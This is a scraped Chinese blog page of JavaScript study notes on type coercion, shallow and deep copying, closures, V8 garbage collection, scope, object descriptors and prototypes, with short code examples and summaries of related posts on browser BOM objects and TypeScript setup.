c) // object console.log(a instanceof Function) // true console.log(b instanceof Object) // true console.log(c instanceof Array) // true console.log(d instanceof a) // true console.log(e instanceof String) // false console.log(Object.prototype.toString.call(null)) // [object Null] console.log(Object.prototype.toString.call(e)) // [object String] 数据类型转换（显式类型转换（强制类型转换）和隐式类型转换（自动类型转换））\n强制类型转换方法：Number()，Boolean()，String()，parselnt()，toString()，parseFloat()\nNumber()规则：如果值是布尔值，true转1，false转0。如果是整数，返回自身。如果是null，返回0。如果是undefined，返回NaN。如果是字符串，包含整数，转换为十进制，包含浮点格式，转换浮点数，空字符串为0，其他情况均为NaN。如果是Symbol，抛出错误，如果是对象，调用该方法，如果返回值为NaN，调用其对象的valueOf()方法\nBoolean()规则：undefined，null，0，+0，-0，\u0026rsquo;\u0026rsquo;，false，NaN均为false，其他情况都为true\n隐式类型转换\n==：如果类型相同，不转换类型，如果有个值为null或者undefined，只有当另一个是null或者undefined，才返回true，否则都为false，如果有个值为Symbol类型，返回false。如果俩个值为Sting和Number类型，Sting类型的那个将转换为number类型，如果有值的类型为boolean，则转换为number，如果有值类型为object，另一个值为number，string或者symbol时，先将object转换为原始类型再判断\n传说中的console.log(abc==1 \u0026amp;\u0026amp; abc==2 \u0026amp;\u0026amp; abc==3)，就是利用了==的隐式类型转换规则，这个abc实质上是个对象，==隐式类型转换如果是对象，会先尝试将其转换为基础类型，如果不行会调用其valueOf()方法，而且这个valueOf()方法就是定义其返回值的，并且通过this获取当前被调用的返回值\nlet abc = { value: 0, valueOf: function(){ this.value++ return this.value } } console.log(abc==1 \u0026amp;\u0026amp; abc==2 \u0026amp;\u0026amp; abc==3) +：加号被用于数值相加和字符串拼接，如果两边值都是字符串，则直接拼接字符串。如果有个是字符串，另一个是unll，Boolean类型或者undefined时，调用toString()方法（该方法的返回值为字符串类型的），然后再进行字符串拼接。如果有个是数值，另一个是number类型，则进行加法处理，如果另一个是null，undefined，boolean则转换为number类型再加法处理。如果一个是number类型，另一个是string类型，则将number类型那个转换为string类型，然后再字符串拼接\nobject隐式转换规则：如果有Symbol.toPrimitive()方法，则优先调用该返回再返回，如果没有该方法，并且object不能转为基础类型，则自动调用valueOf()方法，如果该方法返回了基础类型，则返回，如果还是不行则调有toString()方法（实质上就是返回其字符串），如果能转换为基础类型，则返回，如果还是没有返回基础类型，则抛出错误\n浅拷贝：如果是基础类型，拷贝的是基础类型的值，如果是引用类型，拷贝的是内存中的地址，如果改变该引用类型的值，会影响使用了该内存地址的全部引用类型的值\nObject.assign()方法可以实现浅拷贝（不拷贝继承属性，不拷贝不可枚举属性，但是可以拷贝Symbol类型的对象）\n对象的不可枚举属性通过enumerable: false设置\nlet hallo = {} let hi = { name: 'admin', pass: 'abc123' } Object.assign(hallo,hi) console.log(hallo) hi.name = 'xiaochen' console.log(hallo) console.log(hi) 扩展运算符(\u0026hellip;abc)\nlet hi = { name: 'admin', pass: 'abc123', data: { id: 1, text: \u0026quot;hallo word\u0026quot; } } let hallo = { ...hi } console.log(hallo) console.log(hi) hi.name = 'user' console.log(hallo) console.log(hi) hi.data.id = 10 console.log(hallo) 扩展运算符，只有单层对象属性或者数组时，是深拷贝，修改其属性，不会影响到其他使用该对象的属性，如果是一层以上的数据时，会变成浅拷贝，只能影响一层以上的数据，在一层的数据不受影响\nconcat()方法（可用于浅拷贝数组）\nlet hallo = [2,4,5,6,7,8,9,12] let hi = hallo.concat() console.log(hallo) console.log(hi) hi[0] = 66 console.log(hallo) console.log(hi) slice()方法（可用于浅拷贝数组）\nlet hallo = [{data: 66},2,4,5,6,7,8,9] let hi = hallo.slice() console.log(hallo) console.log(hi) hi[0].data = 123 console.log(hallo) console.log(hi) Object.assign()（将所有可枚举属性的值从原有对象拷贝到目标对象中）\nlet obj = { name: 'xiaochen', pass: 'abc123', data: { id: 1, text: \u0026quot;hallo word\u0026quot; } } let obja = Object.assign({},obj) console.log(obja) 该方法缺陷就是只能拷贝可枚举的属性， 好处就是Symbol类型的属性可以被拷贝\n手写浅拷贝（通过传入目标对象参数，得到一个经过浅拷贝的对象）\nlet obj = { name: 'xiaochen', pass: 'abc123', data: { id: 1, text: \u0026quot;hallo word\u0026quot; } } let objfu = (obj) =\u0026gt;{ if(typeof obj ==='object' \u0026amp;\u0026amp; obj !== null){ // 使用typeof判断obj参数是否是对象，并且还不是null let obja = Array.isArray(obj)?[]:{} // 使用Array.isArray()判断obj是否是数组（是数组返回true，否则返回false），这里是一个三元表达式（为true时返回[]，为false时返回{}） for(let i in obj){ // in关键字遍历obj的属性（或者数组） if(obj.hasOwnProperty(i)){ // hasOwnProperty方法可以判断该对象是否存在某个属性，存在则返回true，否则返回false obja[i] = obj[i] // 判断存在后，将obj的属性拷贝到obja的属性中（浅拷贝），属性值和属性一一对应 } } return obja }else{ return obj } } console.log(objfu(obj)) let hhh = objfu(obj) hhh.data.id =66 console.log(objfu(obj)) console.log(hhh) 深拷贝：创建一个新对象，然后复制原有的对象的基本类型值，其完全是在堆内存中创建新的内存地址，不受原有的对象的改动影响\nJSON.stringify()，通过生成一个json字符串，json字符串再转为新的对象\nlet obj = { name: 'xiaochen', pass: 'abc123', data: { id: 1, text: \u0026quot;hallo word\u0026quot; } } let str = JSON.stringify(obj) let obja = JSON.parse(str) console.log(obja) obj.data.id = 66 console.log(obja) console.log(obj) 注意：如果对象中的值有函数，undefined，symbol类型，使用JSON.stringify()会导致json字符串中的这个键值对会消失，不能拷贝不可枚举属性，Data类型变成字符串，不能拷贝对象原型链，拷贝RegExp类型时会变成空对象，不能拷贝正则表达式，另外对象的属性值含有NaN，Infinity（Infinity表示无穷大），-Infinity（-Infinity表示负无穷大）时，JSON序列化后变成null，不能拷贝对象的循环应用（对象成环 ，obj[key] = obj）\n手写递归深拷贝\nlet obj = { name: 'xiaochen', pass: 'abc123', data: { id: 1, text: \u0026quot;hallo word\u0026quot; } } function objfu(obj) { let obja = {} for(let i in obj){ if(typeof obj[i] ==='object'){ obja[i] = objfu(obj[i]) }else{ obja[i] = obj[i] } } return obja } let hhh = objfu(obj) obj.data.id = 123 console.log(hhh) console.log(obj) 这个手写递归，依然不能复制不可枚举属性和symbol类型，而且只能对一些普通对象有效，像函数之类就没有效果了\n原型链继承的缺点是原型链是内存共享的，一个发生改变，其他继承同一个的，都会发生改变\n构造函数继承的缺点是只能继承父类的方法，属性，实例，不能继承原型的实例和方法\nnew关键词的作用：执行一个构造函数，并且返回一个实例对象，根据构造函数来确定是否可以接受参数的传递\nnew执行后必然返回一个对象，这个对象可以是实例对象，也可以是构造函数return返回的指定对象\n手写new\nfunction _new(funs,...args){ if(typeof funs !=='function'){ throw \u0026quot;no function\u0026quot; } let obj = new Object() obj.__proto__ = Object.create(funs.prototype) let res = funs.apply(obj,...args) let isObj = typeof res === 'object' \u0026amp;\u0026amp; typeof res !== null let isFuns = typeof res === 'function' return isObj || isFuns ? res:obj } 闭包：利用作用域链特性，访问局部变量\nIIFE（立即执行函数）本身创建了闭包，保留了全局作用域和当前作用域\n什么是闭包？例如：\nfunction abc(){ let a = 666 function xyz(){ console.log(a) } return xyz } let haha = abc() haha() 可以看到函数abc的返回值是xyz函数，变量haha被赋值abc函数，并且调用了xyz函数，神奇的获取到变量a的值\n关键点：xyz可以访问abc的作用域。在执行完毕abc函数，作用域并没有被销毁，而在垃圾回收中，只有被使用才不会被回收，在这里abc函数的作用域被xyz函数所使用，而且haha被调用时，执行的就是xyz函数，得到abc函数的整个定义时的词法作用域\n简单的说就是，利用作用域链（这个特指函数作用域，函数作用域具备遮蔽性），内部作用域可以获取外部作用域的变量，只有当内部作用域拥有访问整个外部作用域时，内部作用域在某个时刻被调用了，自然可以访问到外部的定义时的词法作用域，利用这个特性，内部作用域只要能在定义时词法作用域之外的地方调用，就可以实现闭包，从而访问外部定义时的词法作用域\n除了通过返回值外，还可以在定义时调用外部函数，外部函数再调用具备外部词法作用域访问能力的内部函数，也可以访问到这个定义时词法作用域，例如：\nfunction abc(){ let a = 666 function xyz(){ console.log(a) } haha(xyz) } function haha(funs){ funs() } abc() 闭包会导致内存溢出\n数组\nArray数组构造器\nlet arr = Array(3)\n当Array构造器的参数长度为0或者大于等于2时，传入的参数按顺序变成新数组的元素（参数长度为0，返回空数组）\n当Array构造器存在1个数值参数时，这个参数最大不能超过2的32次方\nArray.of()方法可以将参数按照顺序变成数组的元素，然后返回这个新数组，这个参数可以是数值（而且不会被用来创建指定长度的数组）\nArray.from()方法有3个参数，类似于数组的对象，加工函数，this作用域（加工函数中this的指向）\nlet arr = { 0:'abc', 1: 'xyz', 2: 'hallo word', length: 3 } let abc = Array.from(arr,function(value,index){ console.log(value,index,this) return value.repeat(3) },arr) console.log(abc) Array.isArray方法可以判断是否是数组\n类数组的对象（和数组类似，但是没有数组的方法）：函数的arguments，HTMLCollection，NodeList\n类数组转真数组：\nlet abc = { 0: 'hhh', 1: 'bbb', 2: 'abc', length: 3 } console.log(abc) let a = Array.from(abc) console.log(a) let b = Array.prototype.concat.apply([], abc) console.log(b) let c = Array.prototype.slice.call(abc) console.log(c) 数组扁平化（将一个多维数组转换为只有一层的数组）\n通过递归实现，只要元素还是个数组，就进行递归操作\n通过reduce函数迭代\n通过扩展运算符实现\n通过toString().split(\u0026rsquo;,\u0026rsquo;)实现\n通过flat()方法实现\n例如：\nlet arr = [2,[3,5,6,10,[1,2,3],56,88],44,66] function arrData(arr){ return arr.flat(Infinity) } console.log(arrData(arr)) // [2, 3, 5, 6, 10, 1, 2, 3, 56, 88, 44, 66] 通过JSON.stringify()和正则实现（先将数组转换为json字符串，然后通过正则(/([|])/g）过滤掉[]，得到的字符串再通过JSON.parst()转换回\nv8引擎垃圾回收\n基础类型使用栈内存（按值访问），可以使用操作系统进行处理，而引用类型的堆内存需要经常变化（使用引用内存地址访问），大小不固定，需要使用垃圾回收机制来处理\nSting和Number和Boolean和null和undefined和Symbol类型的变量将存储于栈内存，其他类型都存储于堆内存中\nv8引擎的堆内存分为2类，新生代内存和老生代内存\n在64位操作系统中，新生代内存空间为32MB\n新生代中的变量经过一次Scavenge算法回收后，就可以被放入老生代内存中\nScavenge算法将新生代内存分为from-space和to-space两个区域\n新生代内存中变量先存储在from-space区，存活的变量将转移到to-space区域，然后将那些在from-space区中不活跃的变量清除释放，执行完毕，再to-space和from-space互换\n老生代内存垃圾回收机制，Mark-Sweep（标记清除）和Mark-Compact（标记整理）\nMark-Sweep（标记清除）：先遍历堆上所有对象，并且打上标记，在代码执行完成后，对使用过的变量进行标记取消，而且存在标记的变量就是没有使用过的变量，将这些变量进行垃圾回收\nMark-Compact（标记整理）：（解决标记清除机制的内存碎片化的影响）将内存空间往一端靠拢，直接清除边界外的内存\n内存泄露：已经分配堆内存地址的对象长时间没有释放或者无法释放，造成内存长期占用，导致应用响应变慢或者崩溃的情况\n内存泄露优化：减少全局变量，使用完定时器后及时清除定时器，避免死循环\n将一个强引用类型赋值为null，并不会直接导致其被GC，而是解除其引用，方便下次GC能回收它\n解决因闭包导致的内存泄露，在不使用一个闭包函数时，应该手动将其引用变量设置为null，解除引用\nV8引擎执行JavaScript程序的阶段（因为v8使用了java虚拟机，c++编译器的技术，使JavaScript执行存在编译器）\nParse阶段：将JavaScript代码转换为AST（抽象语法树）\nIgnition阶段：解释器将AST转换为字节码，然后解析执行字节码，并且提供编译所需要的信息\nTurboFan阶段：编译器使用Ignition阶段的编译信息，将字节码转换为可执行的机器码\nOrinoco阶段：垃圾回收阶段，将不使用的内存空间进行垃圾回收\n生成AST有两个阶段，词法分析和语法分析\n词法分析阶段会将JavaScript代码解析拆成不能再分的词法单元（token），直接忽略空格\n语法分析阶段将词法单元转换为由元素逐级嵌套而成的语法结构树，这个树叫抽象语法树\nJavaScript借用方法（重用其他对象的方法和函数，无需从该对象继承）\n例如一个类数组（类数组并没有数组的方法），借用数组的方法，通过call()，apply()和bind()方法实现\nlet arrObj = { 0:'abc', 1: 'xyz', 2: 'hallo word', length: 3 } let arr1 = Array.prototype.join.bind(arrObj,',') let arr2 = Array.prototype.pop.call(arrObj) let arr3 = Array.prototype.push.apply(arrObj,['hhh']) console.log(arr1()) console.log(arr2) console.log(arr3) console.log(arrObj) 从Array.prototype可以看到这些方法是在类型的原型上定义的，当然其他自定义方法也是可以通过对象.方法的方式借用\n通过字面量（Literals）实现\n在JavaScript中，使用字面量可以代表值。它们是固定值，不是变量，就是在脚本中按字面给出的。\nlet arrObj = { 0:'abc', 1: 'xyz', 2: 'hallo word', length: 3 } let arr1 = [].join.bind(arrObj,',') console.log(arr1()) []表示Array.prototype，还有\u0026rsquo;\u0026lsquo;表示stringObject\ncreateDocumentFragment \u0026amp;\u0026amp; requestAnimationFrame渲染大量\ndocument.createDocumentFragment()会返回一个DocumentFragment对象，这个对象是DOM节点，但又不是主DOM树的一部分，其是用于创建文档片段，文档片段在内存中，将元素插入文档片段不会导致回流，而且文档片段是直接附加在主DOM树上\nwindow.requestAnimationFrame()，该方法会在浏览器的重绘之前执行一个回调函数\nDocumentFragment对象是一个没有父对象的文档对象，DocumentFragment和document区别就是DocumentFragment不是真实DOM树的一部分，但是它可以挂载在真实DOM树上\n实现渲染10000条div数据\nlet count = 0 function callback(){ const nums = 10000 // 一共插入10000条 const num = 100 // 一次插入100条 let loop = Math.ceil(nums / num) // 计算需要执行多少次 const app = document.querySelector(\u0026quot;#app\u0026quot;) const data = 'hallo word' const vmDOM = document.createDocumentFragment() for (let i = 0; i \u0026lt; num; i++) { const div = document.createElement(\u0026quot;div\u0026quot;) div.innerHTML = data vmDOM.appendChild(div) } app.appendChild(vmDOM) count++ if (count \u0026lt; loop) { window.requestAnimationFrame(callback) } } callback() document.createDocumentFragment()和直接操作DOM，测试结果说明并不是每操作一次dom都会导致渲染，而且是将短时间的dom操作合并在一起，然后统一渲染，操作10000次DOM，并不会触发10000次渲染，而是在一定的时间内的多次操作合并成一次操作，并且在一定的时间内执行该操作，最后渲染，这得益于现代浏览器的优化\nPromise/A+规范\nPromise有很多规范，ES6使用的就是Promise A+规范\nPromise A+规范：\nPromise是具备then方法的对象或者函数\nPromise需要存在3个状态：等待态（pending），成功态（fulfilled），失败态（rejected）\n并且Promise初始状态为等待（pending），在等待态（pending）状态时可以转为成功态（fulfilled）或者失败态（rejected）其中之一\n当处于成功态（fulfilled）时，不能改变其状态，还需具备一个不可改变的返回值（value）\n当处于失败态（rejected）时，也不能改变其状态，还需具备一个不可改变的返回原因（reason）\n需要提供then()方法来返回成功的结果或者失败的原因（传入2个可选参数，onFulfilled和onRejected，如果是函数的话，会在Promise执行完毕后调用，如果不是函数的话会忽略，onFulfilled和onRejected都只能被调用一次）\n当处于成功态（fulfilled）之后，执行onFulfilled，返回value，当处于失败态（rejected）之后，执行onRejected，返回reason\nthen()可在同一个Promise被多次调用，then()必须返回一个promise对象\n手写Promise\nJavaScript引擎（例如v8）可以让JavaScript符合了一些编译语言的特点（词法分析/分词，语法分析/解析，编译转换）（虽然不是提前编译执行）\n词法分析/分词(Tokenizing/Lexing)：将程序源代码分成一个个的词法单元（token），而词法分析就是将源代码转换为词法单元，具体通过符号表来确定是变量还是函数什么的\n语法分析/解析：将词法单元流转换为抽象语法树（AST, Abstract Syntax Tree）,这个抽象树表示了整个程序的语法结构\n注意：并不是词法分析器获取完全部的词法单元后在再进行语法分析的，而是先获取一个词法单元后直接进行语法分析\n编译转换：将AST语法树转换为可执行的机器码（引擎可根据语法树一边编译一边执行）\n一边编译一边执行有个缺点，当某段代码频繁执行时（例如函数）就会导致重复编译（提前编译的可以在执行前就是处理好），因此添加了一种叫JIT（Just-in-time，即时编译）\nJIT在JavaScript引擎中添加了一个监视器，可观察运行的代码，并且记录每段代码的运行次数和变量的类型\n当某段代码执行了多次，监视器就会给这段代码标识为Warm，如果是执行很多次的话，会标识为Hot\n当某段代码被标识为Warm后，JIT将其发送给基线编译器（Baseline compiler）编译，并且将编译结果存储起来，并且以行号，变量类型作为索引，当执行了符合索引的代码时，直接执行之前编译的代码，不需要重复编译\n当某段代码被标识为Hot后，JIT将其发送给优化编译器（Optimizing compiler）编译优化，是通过假设（根据概率模型）变量类型（当存在多个假设时（如果只有一个假设时，直接执行对应的编译结果），会在执行前进行类型检查，来证明假设，如果假设不成立，会导致反优化（将使用编译器或者基数编译器处理（假设多次失败实质比直接编译还慢，因此浏览器做出了限制，当出现多次优化失败时，会放弃处理这个）））\n作用域\n作用域是一套可以根据名称来查找变量的规则（每个作用域负责管理自己地方的变量），当多重嵌套作用域时，会形成作用域链，在当前作用域中查找不到，会向上一级查找，一直查找到全局作用域，如果还是没有找到就是报错\nLHS查询和RHS查询\nLHS查询是获取变量的实质内存（赋值操作，例如let a = 123），RHS查询是获取变量的值（例如console.log(a)，这个就是RHS查询）\n注意：函数传递参数也是LHS查询，只不过变量变成函数的参数而已，而且当作用域链找不到LHS查询的目标时，作用域会创建一个同名的变量到全局作用域中（隐式创建变量，前提是要在非严格模式中）\n在作用域链中，当前作用域的RHS查询或者LHS查询任务完不成，是可以到上一级作用域中完成的\n词法作用域\n作用域有两种，词法作用域和动态作用域，在JavaScript中的作用域就是词法作用域，虽然JavaScript没有动态作用域，但是可以用this来实现相似的效果\n词法作用域就是在词法分析/分词阶段的作用域，一般情况下词法作用域在定义后是不会改变的（有个例外是，欺骗词法作用域，例如利用eval或者with欺骗）\n函数的词法作用域是由函数被定义时所处的位置决定，不会被函数如何调用，在哪调用而影响\n由于作用域查找会在找到第一个目标时会停止的特性，在多重嵌套作用域环境下，其他和目标同名的会被遮蔽找不到，除了全局对象外（全局作用域下的变量会自动变成全局对象的属性（例如window.abc）,可以通过查找全局对象属性来访问到被遮蔽的变量），其他被遮蔽的无论如何都访问不了\n欺骗词法作用域\neval()允许接收一个字符串作为其参数，并且执行，例如\nfunction abc(str,b){ eval(str) console.log(a,b) } var a = 123 abc(\u0026quot;var a = 666\u0026quot;,100) // 666 100 这里利用eval()传递并且执行了\u0026quot;var a = 666\u0026quot;到abc()函数中，改变了该函数的词法作用域，同时遮蔽了全局作用域中的a变量，这个前提是在非严格模式中，因为在严格模式中eval()在运行时会拥有自己的作用域，导致无法修改其所在的作用域\nwith()可以扩展语句的作用域链（注意：在ES5严格模式中，with被完全禁用了）\nlet abc ={ a: 123, b: 666 } with(abc){ a = 666 b = 123 } with()可以将对象处理成词法作用域，在with内部中对象的属性也会变成这个词法作用域的词法标识符，从而改变原来的词法作用域，例如：\nlet abc ={ a: 123, b: 666 } function xyz(obj){ with(obj){ a = 666 b = 123 } } xyz(abc) console.log(abc.a,abc.b) 函数作用域（函数会为其创建一个它私有的作用域）\n在函数中定义的变量将成为其词法作用域中的标识符，无法在外部作用域中获取，在多重嵌套作用域中，外部作用域定义的变量，可以在内部作用域访问，但是外部作用域无法访问内部作用域\n函数作用域可以用于隐藏自身不影响外部，因此也可以避免污染外部环境（命名冲突）\nIIFE（立即执行函数表达式）\n由于正常的函数名也会污染外部环境，因此可使用IIFE解决，当不需要函数名时，这玩意很有用（就算有函数名也不会污染外部）\n有两种编写方式，分别是(function abc(){})()和(function abc(){}())\n(function abc( funs ) { let xyz = { a: 123 } funs(xyz) })(function funs(xyz) { let a = 666 console.log(a) console.log(xyz.a) }) 块作用域\n在let出现之前，可以使用try/catch创建块作用域，其声明的变量只能在catch语句块中使用，例如：\ntry{ throw undefined // 手动制造异常 }catch(a){ a = 123 console.log(a) } console.log(a) // a is not defined let关键字可以将变量隐式绑定到其所在的块作用域中（{\u0026hellip;}内部），只有其作用域内部可以访问，在外部访问会报错，使用let定义的变量是属于一个全新的作用域，而不是当前的函数作用域或者全局作用域，除let关键字外，还有const关键字也可以，只不过const定义的是常量，在定义后不能修改（修改导致报错）\n对象\n对象可通过new Object()定义，也可以通过键值对来定义\nlet obj = new Object() obj.key = \u0026quot;hallo\u0026quot; let obj1 = { key: \u0026quot;hallo\u0026quot;} 注意：null不是对象，因为JavaScript会将二进制前三位为0的变量判断为object类型，而null的二进制表示全为0，因此使用typeof判断值为null的变量的类型，会返回object\n000开头是对象，1开头是整数，010是浮点数，100是字符串，110是布尔\n注意：基础类型并不是对象，例如\u0026quot;hallo word\u0026quot;是字符串字面量，并不能直接修改值或者访问属性，但是JavaScript会将字符串字面量自动转换为string对象，但是这并不代表基础类型就是对象，数值字面量也会被转换为number类型\n对象是引用类型，这表示其真实的值存储中内存中，而对象内部存储的不过是指针引入，指向存储了该值的内存\n数组对象，数组内部存储的位置是索引（整数）\n注意：给数组添加属性，不要使用纯数字的属性名，因为当使用纯数字的属性名，JavaScript会将其认为是索引，从而认为其是添加一个新值，而不是添加一个属性\n复制对象（深拷贝，浅拷贝）\n对象属性描述符（es5之后属性拥有了属性描述符，例如writable（是否可以修改属性的值），enumerable（可枚举）和 configurable（可设置））\n创建属性时属性描述符默认使用默认值\nlet Obj = {} Object.defineProperty( Obj, \u0026quot;key\u0026quot;, { value: \u0026quot;hallo word\u0026quot;, writable: true, // 可修改属性值 configurable: true, // 可重新通过Object.defineProperty设置属性描述符 enumerable: true // 可被属性枚举，例如for in语句，如果为false，那么该属性不会出现在属性枚举中，例如in操作枚举 }); 因此可通过writable，configurable设置为false，来创建常量属性\n设置对象不再可扩展新属性，可使用Object.preventExtensions()\nlet obj1 = { key: \u0026quot;hallo\u0026quot;} Object.preventExtensions(obj1) obj1.nums = 666 console.log(obj.nums) // undefined 设置对象不再可扩展新属性并且不能修改现有属性的配置或者删除属性（可以修改属性值），可以使用Object.seal()\nlet obj1 = { key: \u0026quot;hallo\u0026quot;} Object.seal(obj1) obj1.nums = 666 console.log(obj.nums) // undefined 当然也可以在Object.seal()基础上，禁止修改属性值，Object.freeze()\nlet obj1 = { key: \u0026quot;hallo\u0026quot;} Object.freeze(obj1) obj1.key = \u0026quot;hahaha\u0026quot; // TypeError 注意：在访问属性时，会在该对象中查找是否存在名字相同的属性，如果存在就返回该属性的值，如果没有找到就会触发原型链机制\n在设置属性时，会检查是否存在描述符，检查是否设置（writable），如果不可设置，在非严格模式下静默失败，在严格模式中抛出typeerror异常错误\ngetter和setter\n定义一个可获取属性值的方法（getter），定义一个可设置属性值的方法（setter）\nlet obj1 = { key: \u0026quot;hallo\u0026quot;, get a(){ return this.key }, set b(abc){ this.key = abc } } console.log(obj1.a) // hallo obj.b = \u0026quot;hahaha\u0026quot; console.log(obj1.a) // hahaha 正确地判断属性是否存在，属性值可设置为undefined，并不一定是属性不存在导致返回的undefined,解决这种情况有2种方法，一个是通过in操作符（可通过原型链查找），另一个是通过Object.hasOwnProperty()，Object.hasOwnProperty()只检查该属性是否存在该对象中，例如：\nlet obj1 = { key: 123 } (\u0026quot;key\u0026quot; in obj1) obj1.hasOwnProperty(\u0026quot;key\u0026quot;) 注意：hasOwnProperty方法是object对象的内置方法，如果没有链接到object原型链上的对象，是不能使用该方法的，只能通过借用方法来使用该方法，例如：Object.prototype.hasOwnProperty. call(obj1,\u0026ldquo;key\u0026rdquo;)\n检查该属性是否可枚举\nobj1.propertyIsEnumerable(\u0026quot;key\u0026quot;) // 返回布尔值，检查该属性是否直接存在于对象中（并不在原型链中，并且可枚举） Object.keys(obj1) // 返回数组，该数组的元素为该对象全部可枚举属性 Object.getOwnPropertyNames(obj1) // 返回数组，该数组的元素为该对象属性，不管是否可枚举，并不会返回原型链的属性，只返回该对象中直接包含的属性 遍历数组（forEach()，every()，some()）\nforEach()遍历数组中全部值，并且忽略回调函数的返回值\nevery()运行到回调函数返回false\nsome()运行到回调函数返回true\nfor of()语句会向被遍历对象请求迭代器对象，然后通过迭代器对象的next()来遍历全部返回值\n类，继承，实例化\n类简单来说就是蓝图，而实例化就是根据蓝图建造出房子\n继承是指一个子类继承了一个父类的特性（属性以及方法都被继承，当然也可以重写属性和方法），父类和子类不存在直接关系，而且父类和子类的构造函数可通过prototype联系到\n方法的多态性（取决于在哪个类的实例使用它）\njs并不支持多态，多态（或者理解为重载）实质上就是重写父类的方法，然后通过不同的类实例化，引用不同类的实例下的同名方法\n在继承链中不同级别（子类，父类，祖先类）的同一个方法名可以被多次定义，调用的是哪个方法取决于是通过哪个类实例化出来的\n原型\n当获取一个对象的属性时，但是这个属性并不直接存在于该对象中时，就会访问对象的prototype链中，例如：\nlet obj = { a: \u0026quot;hallo word\u0026quot;, }; let obj1 = Object.create(obj) console.log(obj1.a) 上面例子中通过Object.create()创建来一个obj1.prototype可以连接到obj中的对象，哪怕obj1.a并没有在该对象中定义该属性，还是可以通过obj1.prototype获取到obj.a的属性值\n原型链查找的终点是Object.prototype，如果还是没有找到就返回undefined\n如果原型链底层中的对象存在原型链高层的相同属性名时，将会屏蔽高层的属性，因为原型链只获取最近的一个属性\nPWA，Progressive Web App（渐变式web应用），pwa技术可以将web应用具备接近原生应用的特性和用户体验，无需额外安装，支持离线缓存，消息推送等功能\npwa可通过Service Worker来进行下载，打开pwa应用后，\nService Worker：服务工作线程，独立于主线程，常驻内存，代理网络请求，依赖于HTTPS通信\nmanifest.json：让web应用具备app的效果，例如logo，启动页面\n高阶函数（惰性函数/柯里化函数/compose组合函数）\nCompose（组合函数）\n组合函数顾名思义，就是将多个函数组合在一起，当一个函数的参数是另一个函数的返回值时，导致复杂的嵌套关系例如“funs(a(b(c)))”，而Compose可以做到调用函数的扁平化，例如：\nfunction compose(...funs){ return function(...abc){ if(funs.length === 0){ return funs } if(funs.length === 1){ return funs[0] } return funs.reduce(function(a,b){ console.log(a) console.log(b) if(typeof a === \u0026quot;function\u0026quot;){ return b(a(...abc)) }else{ return b(a) } }) } } function a(x){ return x + 100 } function b(x){ return x * 100 } function c(x){ return x - 100 } function d(x){ return x / 100 } function e(x){ return x % 100 } let abc = compose(a,b,c,d,e)(1000) let xyz = compose(a)(1000) let hhh = compose(a,b)(1000) console.log(xyz) console.log(hhh) console.log(abc) console.log(a(b(c(d(e(1000)))))) //对比一下正确的答案 惰性函数\n柯里化函数\nclass类的装饰器（Decorator）\nSet/Map/WeakSet/WeakMap\nGenerator生成器和Interator迭代器\n","permalink":"https://chenjunlinabc.github.io/posts/61/","summary":"函数被调用时，浏览器会传递两个参数，this和arguments\nthis就是函数的上下文对象，而arguments是一个数组对象（也就是可以通过索引来操作数据），函数调用时传递的参数会在arguments中保存\ncallee属性对应着当前的函数\n例如：\nfunction abc(){ console.log(arguments.length); console.log(arguments[0]); console.log(arguments.callee); console.log(this) } abc('hallo'); BOM对象 (Browser Object Model) 是指浏览器对象模型\n该对象提供了浏览器行为和浏览器属性方法\nwindows表示整个浏览器的窗口，同时也是JavaScript最顶层的对象，其他bom对象都是其的属性\nnavigator包含了当前浏览器的全部信息\nconsole.log(window.navigator) 可以看到输出了很多属性，如userAgent，language等等\nlocation表示当前浏览器地址信息，可以用来跳转到指定地址，获取当前页面的地址等等，例如：\nconsole.log(window.location) const urlData = \u0026quot;https://xiaochenabc123.test.com/; window.location.href = urlData; 这个也可以实现跳转\nwindow.location.assign(\u0026quot;https://xiaochenabc123.test.com\u0026quot;) 这个也可以实现跳转，不过这个不会生成历史记录，是直接用这个页面来替换当前页面\nwindow.location.replace(\u0026quot;https://xiaochenabc123.test.com\u0026quot;) reload方法可以重载页面，加上true参数将强制更新\nwindow.location.reload(true) history表示浏览器的历史记录\nconsole.log(window.history) length表示本次访问网站的数量\n同时也提供了几个方法\nback()返回上个页面\nwindow.history.back()\n可以绑定个点击事件，用来返回上个页面\nforward()前进，一般是和back()搭配使用，一个返回上个页面，一个返回到之前的页面\nwindow.history.forward()\ngo()，前进或者后退指定次数，正数为前进，负数为后退\nwindow.history.go(-1)\nscreen代表用户的屏幕的信息, 获取显示器的相关信息\nconsole.log(window.screen) call 和 apply\naddEventListen()绑定事件函数\nremoveEventListen()移除事件函数\n鼠标按下时onmousedown\n鼠标移动时onmousemove\n鼠标松开时onmouseup\nundefined代表定义未赋值\nnull定义并赋值了, 只是值为null\ndocument.execCommand可以操作剪贴板\ndocument.execCommand(\u0026lsquo;copy\u0026rsquo;) // 复制\ndocument.execCommand(\u0026lsquo;cut\u0026rsquo;) // 剪切\ndocument.execCommand(\u0026lsquo;paste\u0026rsquo;) // 粘贴","title":"JavaScript知识扩展"},{"content":"TypeScript设计目标是开发大型项目，编译成纯JavaScript，让其可以运行在任何浏览器上\nTypeScript可以增强IDE的交互和反馈，主流IDE都支持TypeScript\nTypeScript实质上就是JavaScript的扩展，JavaScript超集\nTypeScript具备类型检查，静态类型，JSnext属性和方法，以及还在提案阶段的语法（例如装饰器）\nTypeScript本身并不能在浏览器运行，需要进行编译成JavaScript（tsc编译）\n全局安装typescript\nyarn global add typescript\n或者\nnpm install -g typescript\n安装ts-node（node不能直接运行ts文件，需要安装ts-node包）\nnpm install -g ts-node\nts-node运行（不需要编译成js文件，直接运行ts）\nts-node hallo.ts\n检查是否安装成功\ntsc -v\n使用TypeScript编写的文件统一以.ts为后缀，用ts写React，统一以.tsx为后缀\n创建tsconfig.json\nnpx tsc \u0026ndash;init\n执行（不加任何参数，这样才能使用tsconfig.json配置文件，tsc默认对当前根目录的ts文件进行编译）\ntsc\n或者指定编译的文件\ntsc ./src/index.ts\ntsc ./src/index.ts -t es6 -m cjs\n注意：cjs标准只能存在一个顶级导出（mudule.exports）,如果存在其他exports的话会被忽略，因此要么不用mudule.exports，要么只使用一个mudule.exports\n编译指定ts文件（在compilerOptions同级）\n\u0026ldquo;include\u0026rdquo;:[\u0026quot;./test1.ts\u0026quot;] // 指定编译哪个ts文件 \u0026ldquo;excclude\u0026rdquo;:[\u0026quot;./test.ts\u0026quot;] // 指定不编译哪个ts文件\n编译TypeScript文件\ntsc 